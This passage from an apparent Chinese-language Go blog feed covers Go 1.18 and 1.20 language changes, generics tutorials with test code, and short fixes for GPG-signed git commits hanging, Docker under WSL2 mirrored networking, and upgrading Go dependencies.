&lt;p&gt;以下代码预期把切片转换为数组：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package main

import (
	&quot;fmt&quot;
	&quot;reflect&quot;
)

func main() {
	slice := []int{1, 2, 3, 4}
	array := [4]int(slice)
	fmt.Println(reflect.TypeOf(slice))
	fmt.Println(reflect.TypeOf(array))
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 Go 1.20 之前的版本，会导致以下错误：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# command-line-arguments
./main.go:10:17: cannot convert slice (type []int) to type [4]int
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在升级到 Go 1.20 后，可以正常运行。&lt;/p&gt;
&lt;h2&gt;新增 unsafe 包函数&lt;/h2&gt;
&lt;p&gt;分别是：SliceData、String 和 StringData。&lt;/p&gt;
&lt;h2&gt;改进结构体和数组是否相等的规范&lt;/h2&gt;
&lt;p&gt;现在按照结构体字段声明的顺序依次比较，并在第一个不相等字段处停止，并报告整个结构体都不相等。&lt;/p&gt;
&lt;p&gt;数组类似，从第一个元素开始依次比较。&lt;/p&gt;
&lt;h2&gt;comparable 优化&lt;/h2&gt;
&lt;p&gt;以下代码使用空 interface 作为类型参数传入：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package main

func main() {
	InterfaceComparable[interface{}]()
}

func InterfaceComparable[T comparable]() {
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 Go 1.20 之前的版本，会导致以下错误：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# command-line-arguments
./main.go:4:22: interface{} does not implement comparable
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在升级到 Go 1.20 后，可以正常运行。&lt;/p&gt;
&lt;p&gt;这是因为可比较类型，如：interface，现在都符合 comparable 约束。&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://go.dev/doc/go1.20#language&quot;&gt;Go 1.20 Release Notes&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://go.dev/blog/comparable&quot;&gt;All your comparable types&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Golang</category></item><item><title>Golang 1.18 语言规范改动</title><link>https://www.sulinehk.com/post/language-specification-changes-in-golang-118/</link><guid isPermaLink="true">https://www.sulinehk.com/post/language-specification-changes-in-golang-118/</guid><pubDate>Mon, 15 Jan 2024 13:44:27 GMT</pubDate><content:encoded>&lt;h2&gt;泛型&lt;/h2&gt;
&lt;p&gt;详见：&lt;a href=&quot;https://sulinehk.com/post/golang-genercis-introductory-tutorial/&quot;&gt;Golang 泛型初级教程&lt;/a&gt;和 &lt;a href=&quot;https://sulinehk.com/post/golang-generics-intermediate-tutorial/&quot;&gt;Golang 泛型中级教程&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;匿名函数内的未使用变量&lt;/h2&gt;
&lt;p&gt;在 Go 1.18 之前的版本，以下在匿名函数内的未使用变量 p 不会返回错误：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package main

func main() {
	p := true
	func() {
		p = true
	}()
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在升级到 Go 1.18 后，会正常返回未使用错误：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# command-line-arguments
./main.go:4:2: p declared and not used
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;rune 类型的溢出&lt;/h2&gt;
&lt;p&gt;在 Go 1.18 之前的版本，以下 rune 类型的溢出不会返回错误：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package main

func main() {
	print(&apos;1&apos; &amp;lt;&amp;lt; 32)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在升级到 Go 1.18 后，会正常返回溢出错误：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# command-line-arguments
./main.go:4:8: cannot use &apos;1&apos; &amp;lt;&amp;lt; 32 (untyped rune constant 210453397504) as rune value in argument to print (overflows)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://tip.golang.org/doc/go1.18#language&quot;&gt;Go 1.18 Release Notes&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/golang/go/issues/49214&quot;&gt;cmd/compile: consistently report &quot;declared but not used&quot; errors - needs release notes #49214&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Golang</category></item><item><title>Golang 泛型中级教程</title><link>https://www.sulinehk.com/post/golang-generics-intermediate-tutorial/</link><guid isPermaLink="true">https://www.sulinehk.com/post/golang-generics-intermediate-tutorial/</guid><pubDate>Fri, 12 Jan 2024 12:38:33 GMT</pubDate><content:encoded>&lt;h2&gt;使用类型约束&lt;/h2&gt;
&lt;p&gt;首先，来看一个函数，它的功能是返回两个参数中数值较小的参数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func Min(x, y int) int {
	if x &amp;lt; y {
		return x
	}
	return y
}

func TestMin(t *testing.T) {
	var inputIntX int = 1
	var inputIntY int = 2
	var wantInt int = 1
	gotInt := Min(inputIntX, inputIntY)
	if gotInt != wantInt {
		t.Errorf(&quot;gotInt %v, wantInt %v&quot;, gotInt, wantInt)
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然而，该函数只能传入 int 类型，现在通过泛型来编写更通用的代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import (
	&quot;golang.org/x/exp/constraints&quot;
)

func GenericsMin[T constraints.Ordered](x, y T) T {
	if x &amp;lt; y {
		return x
	}
	return y
}

func TestGenericsMin(t *testing.T) {
	var inputIntX int = 1
	var inputIntY int = 2
	var wantInt int = 1
	gotInt := GenericsMin[int](inputIntX, inputIntY)
	if gotInt != wantInt {
		t.Errorf(&quot;gotInt %v, wantInt %v&quot;, gotInt, wantInt)
	}

	var inputFloatX float64 = 1.1
	var inputFloatY float64 = 2.2
	var wantFloat float64 = 1.1
	gotFloat := GenericsMin[float64](inputFloatX, inputFloatY)
	if gotFloat != wantFloat {
		t.Errorf(&quot;gotFloat %v, wantFloat %v&quot;, gotFloat, wantFloat)
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在上面的例子中，可以看到泛型参数 T 的类型约束是 constraints.Ordered。可以通过运行 &lt;code&gt;go get -u golang.org/x/exp/constraints&lt;/code&gt; 来导入 constraints 包，它提供了一些常用的类型约束，像 Ordered 就代表了可比较类型。&lt;/p&gt;
&lt;h2&gt;实例化&lt;/h2&gt;
&lt;p&gt;调用函数时 &lt;code&gt;GenericsMin[int](inputIntX, inputIntY)&lt;/code&gt;，提供类型参数的行为被成为实例化。&lt;/p&gt;
&lt;p&gt;实例化的步骤分为：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;编译器将用类型参数传参（int）来替换掉所有在泛型函数中出现的类型参数占位符（T）；&lt;/li&gt;
&lt;li&gt;编译器将验证类型参数传参（int）是否符合对应的类型约束（constraints.Ordered）的要求。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;在实例化之后，泛型函数的行为就跟普通函数没什么不同：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GenericsMinIntInstance := GenericsMin[int]
gotInt := GenericsMinIntInstance(inputIntX, inputIntY)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在这里，GenericsMinIntInstance 实际上就是我们最初编写的函数 Min(x, y int) int。&lt;/p&gt;
&lt;p&gt;类型参数的行为跟普通的类型是一样的，同样可以为它添加方法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type TwoNumber[T constraints.Ordered] struct {
	X T
	Y T
}

func (t *TwoNumber[T]) Min() T {
	if t.X &amp;lt; t.Y {
		return t.X
	}
	return t.Y
}

func TestTwoNumberMin(t *testing.T) {
	var inputIntX int = 1
	var inputIntY int = 2
	var wantInt int = 1
	intTwoNumber := TwoNumber[int]{X: inputIntX, Y: inputIntY}
	gotInt := intTwoNumber.Min()
	if gotInt != wantInt {
		t.Errorf(&quot;gotInt %v, wantInt %v&quot;, gotInt, wantInt)
	}

	var inputFloatX float64 = 1.1
	var inputFloatY float64 = 2.2
	var wantFloat float64 = 1.1
	floatTwoNumber := TwoNumber[float64]{X: inputFloatX, Y: inputFloatY}
	gotFloat := floatTwoNumber.Min()
	if gotFloat != wantFloat {
		t.Errorf(&quot;gotFloat %v, wantFloat %v&quot;, gotFloat, wantFloat)
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中，constraints.Ordered 是一个 interface，它的定义在 golang.org/x/exp/constraints 中：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Ordered interface {
	Integer | Float | ~string
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;它起到了类型约束的作用。&lt;/p&gt;
&lt;h2&gt;类型集视角&lt;/h2&gt;
&lt;p&gt;在引入泛型之前，我们把 interface 当成是方法约束，只有实现了所有 interface 中定义的方法，我们才称实现了 interface 接口。&lt;/p&gt;
&lt;p&gt;而现在，在 Go 1.18 引入泛型之后，规定类型约束也必须是一个 interface，所以我们需要用一种新的视角来融合旧的方法约束和新的类型约束，这就是类型集视角。&lt;/p&gt;
&lt;p&gt;可以理解为，interface 定义了一组类型（方法），任何满足了类型约束（方法约束）的泛型参数传参（结构体实例），都可以成为实现了该 interface。&lt;/p&gt;
&lt;p&gt;所以，为类型约束 interface 添加新的类型，等同于方法约束 interface 添加新的方法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Ordered interface {
	Integer | Float | ~string | bool
	NewMethod()
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上述代码分别为 Ordered interface 添加了新的类型 bool 和新的方法 NewMethod()。可以看出通过 &lt;code&gt;|&lt;/code&gt; 符号来扩展类型约束集合。&lt;/p&gt;
&lt;p&gt;有时候，我们会自定义类型，而类型约束不知道我们自定义的类型，所以不满足约束条件。&lt;/p&gt;
&lt;p&gt;可以通过在原始类型前面加上 &lt;code&gt;~&lt;/code&gt; 符号，表示类型约束只会约束原始类型。&lt;/p&gt;
&lt;p&gt;通过 &lt;code&gt;type MyString string&lt;/code&gt; 自定义类型后，MyString 也符合 &lt;code&gt;~string&lt;/code&gt; 的类型约束。&lt;/p&gt;
&lt;h2&gt;定义约束&lt;/h2&gt;
&lt;p&gt;我们可以命名类型约束 interface，如：Ordered。也可以在定义泛型函数时直接嵌入。&lt;/p&gt;
&lt;p&gt;命名类型约束 interface：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Element interface {
}

type Slice interface {
	~[]Element
}

func Sum[S Slice, E Element]() {
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在这个例子中，Element 表示可以传入任意类型，类似于以前的空 interface。Slice 表示可以传入任意元素类型的切片。&lt;/p&gt;
&lt;p&gt;相当于：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func Sum[S interface{ ~[]E }, E interface{}]() {
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因为不会有歧义，所以可以通过删除第一个类型参数的 &lt;code&gt;interface{}&lt;/code&gt; 来简化：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func Sum[S ~[]E, E interface{}]() {
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;又因为空 interface 很常见，Go 1.18 引入了 &lt;code&gt;any&lt;/code&gt; 作为 &lt;code&gt;interface{}&lt;/code&gt; 的别名，在源码中的定义为：&lt;code&gt;type any = interface{}&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;所以可以用 any 替换 interface{}，语义上也是合理的，表示任意类型：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func Sum[S ~[]E, E any]() {
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;类型推断错误&lt;/h2&gt;
&lt;p&gt;在使用自定义类型的时候，类型推断可能会造成错误。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Point []int32

func (p Point) String() string {
	return &quot;&quot;
}

func Scale[E constraints.Integer](s []E, c E) []E {
	r := make([]E, len(s))
	for i, v := range s {
		r[i] = v * c
	}
	return r
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;泛型函数 Scale 的功能是传入一个切片和一个数字，返回乘上了这个数字的新切片。&lt;/p&gt;
&lt;p&gt;通过测试用例来测试：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func TestScale(t *testing.T) {
	var inputPoint Point = []int32{1, 2, 3}
	gotPoint := Scale(inputPoint, 2)
	t.Logf(&quot;%v&quot;, gotPoint.String())
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个测试用例无法编译，因为返回值 gotPoint 的类型不是我们预期的 Point，而是 []int32，所以没有 String() 方法。&lt;/p&gt;
&lt;p&gt;这是因为 Scale 的返回值是 []E，即 []int32，没有考虑到自定义类型。&lt;/p&gt;
&lt;p&gt;可以通过显式定义自定义类型的类型参数来修复：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func Scale[S ~[]E, E constraints.Integer](s S, c E) S {
	r := make(S, len(s))
	for i, v := range s {
		r[i] = v * c
	}
	return r
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在，如果我们通过普通切片（[]int32）来调用新函数，返回值的类型同样为普通切片；如果我们通过自定义类型（Point）来调用新函数，返回值的类型同样为自定义类型。&lt;/p&gt;
&lt;p&gt;运行测试也能够顺利通过。&lt;/p&gt;
&lt;p&gt;那么，为什么 Go 编译器能够准确地推断出参数的类型呢？答案在于 Go 编译器使用了约束类型推断（constraint type inference）。&lt;/p&gt;
&lt;p&gt;当一个类型参数（S ~[]E）由另一个类型参数（E constraints.Integer）组成时，并且使用了 &lt;code&gt;~&lt;/code&gt; 符号时，Go 编译器就能通过一个类型参数来推断出另一个类型参数。&lt;/p&gt;
&lt;p&gt;对于传入的 S，它的类型为 ~[]E，即 E 类型的切片，在类型参数传参为 []int32 时，就可以推断出 E 为 int32。&lt;/p&gt;
&lt;p&gt;尽管类型推断的内部原理较为复杂，但使用起来很简单。即便出现类型推断错误，也只是编译时错误，只要加上对应的类型即可。&lt;/p&gt;
&lt;h2&gt;使用泛型的建议&lt;/h2&gt;
&lt;p&gt;什么时候使用泛型：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用语言内置的数据类型时，如：切片、map 和 channel；&lt;/li&gt;
&lt;li&gt;使用通用的数据类型时，如：链表、二叉树；&lt;/li&gt;
&lt;li&gt;实现通用方法时，如：标准库 sort.Interface 中的 3 个方法（Len、Swap、Less）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;什么时候不应该使用泛型：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;不要用类型参数替换接口类型，如：io.Reader；&lt;/li&gt;
&lt;li&gt;如果方法实现不同，就应该实现不同的方法，而不是强行使用类型参数，如：Read()；&lt;/li&gt;
&lt;li&gt;运行时反射很有用，泛型不能完全代替它，如：encoding/json。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;指导方针：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;对于类型参数，传入函数优于添加方法，如：二叉树中的比较函数；&lt;/li&gt;
&lt;li&gt;不要因为追求速度而从接口类型更改为类型参数，因为它可能不会运行得更快；&lt;/li&gt;
&lt;li&gt;如果你发现自己写的几份代码之间的唯一区别是类型，就应该使用泛型；反过来说，应该一直避免使用泛型，直到你意识到你在写重复的代码。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;新的预声明标记符 any 和 comparable&lt;/h2&gt;
&lt;p&gt;从语义的角度，any 更为清晰，可以用它来替换 interface{}。使用以下命令可以帮你定位到使用 interface{} 的代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;find . -name &quot;*.go&quot; | xargs grep &quot;interface{}&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;并使用以下命令进行替换：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gofmt -w -r &apos;interface{} -&amp;gt; any&apos; .
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;comparable 是一个 interface，可以用作类型约束，表示所有可以进行比较的类型。&lt;/p&gt;
&lt;h2&gt;跟泛型有关的官方包&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;golang.org/x/exp/constraints：提供了常见的的类型约束；&lt;/li&gt;
&lt;li&gt;golang.org/x/exp/slices：提供了对泛型切片进行操作的函数；&lt;/li&gt;
&lt;li&gt;golang.org/x/exp/maps：提供了对泛型 map 进行操作的函数。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://go.dev/blog/intro-generics&quot;&gt;An Introduction To Generics&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://go.dev/blog/when-generics&quot;&gt;When To Use Generics&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://tonybai.com/2021/12/18/replace-empty-interface-with-any-first-after-switching-to-go-1-18/&quot;&gt;切换到Go 1.18后的第一件事：将interface{}全部替换为any&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://tip.golang.org/doc/go1.18&quot;&gt;Go 1.18 Release Notes&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Golang</category></item><item><title>Golang 泛型初级教程</title><link>https://www.sulinehk.com/post/golang-genercis-introductory-tutorial/</link><guid isPermaLink="true">https://www.sulinehk.com/post/golang-genercis-introductory-tutorial/</guid><pubDate>Thu, 11 Jan 2024 14:34:33 GMT</pubDate><content:encoded>&lt;h2&gt;泛型的优势&lt;/h2&gt;
&lt;p&gt;泛型编程（Generic Programming）是现代编程语言中的一项强大功能，它允许程序员编写出一种通用的形式来表示函数或数据结构，从而抽象出数据类型。&lt;/p&gt;
&lt;p&gt;泛型的使用可以极大地减少代码重复，增加程序的灵活性与可维护性。&lt;/p&gt;
&lt;p&gt;对于库的开发者来说，泛型的确引入了额外的复杂性；但对库的使用者而言，泛型提供了简洁和强大的工具，极少地增加了复杂性。&lt;/p&gt;
&lt;h2&gt;初级教程&lt;/h2&gt;
&lt;p&gt;首先，来看两个函数，它们的功能都是计算一个切片中所有元素的总和：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func SumInts(s []int) int {
	var r int
	for _, v := range s {
		r += v
	}
	return r
}

func SumFloats(s []float64) float64 {
	var r float64
	for _, v := range s {
		r += v
	}
	return r
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但因为它们处理的数据类型不同（一个是 int，另一个是 float64），我们不得不为每种类型编写一个新函数。&lt;/p&gt;
&lt;p&gt;泛型在这里发挥作用，允许我们使用类型参数来泛化函数的实现。&lt;/p&gt;
&lt;p&gt;可以通过一些测试用例来确认函数的正确性：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func TestSumInts(t *testing.T) {
	inputInts := []int{1, 2, 3}
	wantInt := 6
	gotInt := SumInts(inputInts)
	if gotInt != wantInt {
		t.Errorf(&quot;gotInt %v, wantInt %v&quot;, gotInt, wantInt)
	}
}

func TestSumFloats(t *testing.T) {
	inputFloats := []float64{1.1, 2.2, 3.3}
	wantFloat := 6.6
	gotFloat := SumFloats(inputFloats)
	if gotFloat != wantFloat {
		t.Errorf(&quot;gotFloat %v, wantFloat %v&quot;, gotFloat, wantFloat)
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来通过泛型代码来重写：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func SumIntsOrFloats[T int | float64](s []T) T {
	var r T
	for _, v := range s {
		r += v
	}
	return r
}

func TestSumIntsOrFloats(t *testing.T) {
	inputInts := []int{1, 2, 3}
	wantInt := 6

	gotInt := SumIntsOrFloats[int](inputInts)
	if gotInt != wantInt {
		t.Errorf(&quot;gotInt %v, wantInt %v&quot;, gotInt, wantInt)
	}

	inputFloats := []float64{1.1, 2.2, 3.3}
	wantFloat := 6.6
	gotFloat := SumIntsOrFloats[float64](inputFloats)
	if gotFloat != wantFloat {
		t.Errorf(&quot;gotFloat %v, wantFloat %v&quot;, gotFloat, wantFloat)
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到，泛型函数声明后面多了一对方括号 &lt;code&gt;[]&lt;/code&gt;，然后才是正常函数的参数和返回值。&lt;/p&gt;
&lt;p&gt;在方括号里面的内容可以用类似正常变量声明的方式来阅读：&lt;code&gt;[T int | float64]&lt;/code&gt; 表示声明了一个变量 T，T 的类型是 int 或 float64，&lt;code&gt;|&lt;/code&gt; 表示或。&lt;/p&gt;
&lt;p&gt;在这里，T 叫做类型参数，可以理解为把类型（int、float64、bool 等）当作参数变量来使用。而 &lt;code&gt;int | float64&lt;/code&gt; 叫做类型约束，表示类型参数允许的类型集合。&lt;/p&gt;
&lt;p&gt;然后在参数和返回值里，就可以像使用普通类型一样来使用这个类型参数。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;(s []T) T&lt;/code&gt; 表示传入一个名为 s 的参数，类型是 []T，返回一个 T 类型的值。&lt;/p&gt;
&lt;p&gt;可以自然地把类型参数 T 视为 int 或 float64 的一个占位符：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在 T 为 int 时：&lt;code&gt;(s []T) T&lt;/code&gt; 等同于 &lt;code&gt;(s []int) int&lt;/code&gt;，表示传入一个名为 s 的参数，类型是 []int，返回一个 int 类型的值；&lt;/li&gt;
&lt;li&gt;在 T 为 float64 时：&lt;code&gt;(s []T) T&lt;/code&gt; 等同于 &lt;code&gt;(s []float64) float64&lt;/code&gt;，表示传入一个名为 s 的参数，类型是 []float64，返回一个 float64 类型的值。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在函数内部，也可以像使用普通类型一样来使用这个类型参数：&lt;code&gt;var r T&lt;/code&gt; 表示声明了一个变量 r，r 的类型是 T，既是 int 或 float64。&lt;/p&gt;
&lt;p&gt;在调用泛型函数的时候，像传入普通参数一样传入类型：&lt;code&gt;SumIntsOrFloats[int](inputInts)&lt;/code&gt;。只不过传入类型时使用方括号，传入参数还是像以前一样使用圆括号。&lt;/p&gt;
&lt;p&gt;一般情况下，可以不用传入类型，像普通函数一样调用 &lt;code&gt;SumIntsOrFloats(inputInts)&lt;/code&gt;，因为 Go 编译器会根据传入的参数来推断类型。&lt;/p&gt;
&lt;p&gt;在这里，前面已经通过 &lt;code&gt;inputInts := []int{1, 2, 3}&lt;/code&gt; 来显式声明参数类型，是 []int，所以 Go 编译器能够推断出来正确的类型。&lt;/p&gt;
&lt;p&gt;如果调用的泛型函数没有参数，就不可能通过参数来推断类型，这时就需要显式传入类型参数。&lt;/p&gt;
&lt;p&gt;接下来可以进一步优化代码，通过接口来定义类型约束，来使得它能够被多个函数使用：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Number interface {
	int | float64
}

func SumNumbers[T Number](s []T) T {
	var r T
	for _, v := range s {
		r += v
	}
	return r
}

func TestSumNumbers(t *testing.T) {
	inputInts := []int{1, 2, 3}
	wantInt := 6

	gotInt := SumNumbers(inputInts)
	if gotInt != wantInt {
		t.Errorf(&quot;gotInt %v, wantInt %v&quot;, gotInt, wantInt)
	}

	inputFloats := []float64{1.1, 2.2, 3.3}
	wantFloat := 6.6
	gotFloat := SumNumbers(inputFloats)
	if gotFloat != wantFloat {
		t.Errorf(&quot;gotFloat %v, wantFloat %v&quot;, gotFloat, wantFloat)
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在这里，我们定义了一个名为 Number 的 interface，跟以前不同，interface 里面不是方法，而是类型的集合。&lt;/p&gt;
&lt;p&gt;通过将 Number 放在类型参数的后面，就可以起到类型约束的效果。&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://go.dev/blog/why-generics&quot;&gt;Why Generics?&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://go.dev/doc/tutorial/generics&quot;&gt;Tutorial: Getting started with generics&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Golang</category></item><item><title>修复使用 GPG 密钥时 git commit 卡住的问题</title><link>https://www.sulinehk.com/post/fix-git-commit-stuck-with-gpg-keys/</link><guid isPermaLink="true">https://www.sulinehk.com/post/fix-git-commit-stuck-with-gpg-keys/</guid><pubDate>Wed, 03 Jan 2024 14:34:33 GMT</pubDate><content:encoded>&lt;p&gt;使用 GPG 密钥时 git commit 有时候会卡住。&lt;/p&gt;
&lt;p&gt;可以通过一下命令来重启 gpg-agent 和 ssh-agent：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gpgconf --kill gpg-agent &amp;amp;&amp;amp; killall ssh-agent
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>Misc</category></item><item><title>修复 WSL2 镜像网络模式下无法连接 Docker 的问题</title><link>https://www.sulinehk.com/post/fix-docker-connection-issues-in-wsl2-mirrored-networking-mode/</link><guid isPermaLink="true">https://www.sulinehk.com/post/fix-docker-connection-issues-in-wsl2-mirrored-networking-mode/</guid><pubDate>Tue, 02 Jan 2024 05:22:18 GMT</pubDate><content:encoded>&lt;h2&gt;问题&lt;/h2&gt;
&lt;p&gt;在 2023 年 9 月的 Windows 11 更新中，WSL2 支持了新的网络模式：镜像（mirrored）。它能够通过 localhost 地址从 WSL2 内部连接到 Windows 的 127.0.0.1 地址。&lt;/p&gt;
&lt;p&gt;可以在 %UserProfile%/.wslconfig 添加 networkingMode=mirrored 来启用它。&lt;/p&gt;
&lt;p&gt;但是这会导致无法连接到 Docker 的问题：dial tcp 127.0.0.1:3306: connect: connection refused。&lt;/p&gt;
&lt;p&gt;该问题的原因是 Docker 使用了 iptables 来转发端口。&lt;/p&gt;
&lt;p&gt;可以通过以下方法来修复这个问题。&lt;/p&gt;
&lt;h2&gt;使用 Docker Desktop&lt;/h2&gt;
&lt;h3&gt;方法 1&lt;/h3&gt;
&lt;p&gt;直接将 Docker Desktop 升级到 4.26 以上版本即可，&lt;a href=&quot;https://docs.docker.com/desktop/release-notes/#for-windows-1&quot;&gt;该版本&lt;/a&gt;添加了对镜像网络模式的支持。&lt;/p&gt;
&lt;h3&gt;方法 2&lt;/h3&gt;
&lt;p&gt;或者在 .wslconfig 中添加：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[experimental]
networkingMode=mirrored
hostAddressLoopback=true
ignoredPorts = 8000,8080
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过 ignoredPorts 来设置你需要访问的应用的端口。&lt;/p&gt;
&lt;h2&gt;使用其它 Docker 发行版&lt;/h2&gt;
&lt;p&gt;在 .wslconfig 中添加：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[experimental]
networkingMode=mirrored
hostAddressLoopback=true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;并且编辑 docker 配置文件：/etc/docker/daemon.json，添加：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
&quot;iptables&quot;: false
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;缺点是这样无法使用 iptables。&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/microsoft/WSL/issues/10494&quot;&gt;WSL 2.0: networkingMode=mirrored makes Docker unable to forward ports #10494&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/commandline/windows-subsystem-for-linux-september-2023-update/&quot;&gt;Windows Subsystem for Linux September 2023 update&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Misc</category></item><item><title>如何升级 Golang 和依赖的版本</title><link>https://www.sulinehk.com/post/how-to-upgrade-golang-and-dependencies-version/</link><guid isPermaLink="true">https://www.sulinehk.com/post/how-to-upgrade-golang-and-dependencies-version/</guid><pubDate>Sun, 31 Dec 2023 14:32:18 GMT</pubDate><content:encoded>&lt;h2&gt;升级 Golang 版本&lt;/h2&gt;
&lt;p&gt;在项目下使用命令：&lt;code&gt;go mod edit -go=1.21.3&lt;/code&gt;，也可以直接修改 go.mod 文件的 go 字段。&lt;/p&gt;
&lt;h2&gt;升级依赖项版本&lt;/h2&gt;
&lt;p&gt;在项目下使用命令：&lt;code&gt;go get -u ./...&lt;/code&gt;，此命令会将项目中所有依赖项的版本更新为最新版本。&lt;/p&gt;
&lt;h2&gt;依赖项破坏性更新&lt;/h2&gt;
&lt;p&gt;如果依赖项的更新是破坏性的，即不兼容之前的版本，则无法通过 go 工具来自动更新。此时需要手动调整 go.mod 文件和导入的包名。&lt;/p&gt;
&lt;p&gt;例如 beego 的升级：从 github.com/astaxie/beego v1.12.2 修改为 github.com/beego/beego/v2。&lt;/p&gt;
&lt;p&gt;例如 gorm 的升级：从 github.com/jinzhu/gorm v1.9.12 修改为 gorm.io/gorm v1.25.5；数据库驱动则修改为 gorm.io/driver/mysql v1.5.2，其它的数据库名称在 &lt;a href=&quot;https://github.com/go-gorm&quot;&gt;go-gorm&lt;/a&gt; 查看。&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/60675415/how-to-upgrade-the-go-version-in-a-go-mod&quot;&gt;How to upgrade the go version in a go mod&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://golang.cafe/blog/how-to-upgrade-golang-dependencies.html&quot;&gt;How To Upgrade Golang Dependencies&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gorm.io/zh_CN/docs/v2_release_note.html&quot;&gt;GORM 2.0 发布说明&lt;/a&gt;&lt;/p&gt;
